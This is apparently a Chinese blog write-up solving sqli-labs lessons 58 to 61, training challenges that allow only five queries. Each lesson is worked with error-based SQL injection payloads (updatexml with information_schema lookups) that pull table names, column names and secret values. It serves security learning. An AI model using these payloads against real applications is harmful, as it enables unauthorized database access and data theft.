sqli-labs Less58-less61 challenges部分

Lesson 58 GET - challenge - Double Query - 5 queries allowed - Variation 1

   由此看到,我们只有5次尝试机会,我们要尽量节省次数,order by在之前已知3列,就不再进行测试。

(1)第一次

  ?id=1

   显示正常,由此看出id值被单引号包裹

(2)第二次(直接使用union select语句测试)

  ?id=1' union select 1,2,3 --+

   并没有回显位置,说明使用union select语句并不成功,我们要换一种方法

(3)第三次(使用报错注入,已知数据库为CHALLENGES,直接查表)

  ?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES')),1)--+

   拿到表名:dk1yrxgzsx

(4)第四次(查字段)

  ?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='dk1yrxgzsx')),1)--+

   拿到字段:id,sessid,secret_XM6V,tryy

(5)第五次(查字段secret_XM6V的值)

  ?id=1' and updatexml(1,concat(0x7e,(select group_concat(concat_ws(0x7e,secret_XM6V)) from CHALLENGES.dk1yrxgzsx )),1)--+

   拿到字段值:nr2VITJOlT5HAS6VxVYu8DBp

(6)提交

 

   成功

  Lesson 58结束

Lesson 59 GET - challenge - Double Query - 5 queries allowed - Variation 2

(1)第一次

  ?id=1

   显示正常,这次id值没有被包裹,直接注入即可.这也是与58关唯一不同的地方。

(2)第二次(直接进行报错注入,已知数据库为CHALLENGES,查表)

  ?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES')),1) --+

   拿到表名:5uqswi1l2n

(3)第三次(查字段)

  ?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='5uqswi1l2n')),1) --+

   拿到字段:id,sessid,secret_375C,tryy

(4)第四次(查字段secret_375C的值)

  ?id=1 and updatexml(1,concat(0x7e,(select group_concat(concat_ws(0x7e,secret_375C)) from CHALLENGES.5uqswi1l2n)),1) --+

   拿到字段值:yO06diIDBuuCLJI6KlRYrcmd

(5)提交

 

   成功

  Lesson 59结束

Lesson 60 GET - challenge - Double Query - 5 queries allowed - Variation 3

(1)第一次

  ?id=1

   显示正常,id值被双引号和括号包裹,这也是与58关唯一不同的地方。

(2)第二次(直接进行报错注入,已知数据库为CHALLENGES,查表)

  ?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES')),1) --+

   拿到表名:k5lby23pio

(3)第三次(查字段)

  ?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='k5lby23pio')),1) --+

   拿到字段:id,sessid,secret_LGB6,tryy

(4)第四次(查字段secret_LGB6的值)

  ?id=1") and updatexml(1,concat(0x7e,(select group_concat(concat_ws(0x7e,secret_LGB6)) from CHALLENGES.k5lby23pio)),1) --+

   拿到字段的值:rNr9RCS45mbX7ZNlPXMUGAgt

  

(5)提交

 

   成功

  Lesson 60结束

Lesson 61 GET - challenge - Double Query - 5 queries allowed - Variation 4

(1)第一次

  ?id=1

   显示正常,这里id值被单引号和两个括号包裹,更复杂一些,这也是与58关唯一不同的地方。

(2)第二次(直接进行报错注入,已知数据库为CHALLENGES,查表)

  ?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES')),1) --+

   拿到表名:m3ipwo4ljd

(3)第三次(查字段)

  ?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='m3ipwo4ljd')),1) --+

   拿到字段:id,sessid,secret_FRMD,tryy

(4)第四次(查字段secret_FRMD的值)

  ?id=1')) and updatexml(1,concat(0x7e,(select group_concat(concat_ws(0x7e,secret_FRMD)) from CHALLENGES.m3ipwo4ljd)),1) --+

   拿到字段的值:A4bKvDqeP2nxz0aTV6mtHnTS

(5)提交

 

   成功

  Lesson 61结束

原文地址:https://www.cnblogs.com/zhaihuijie/p/12601793.html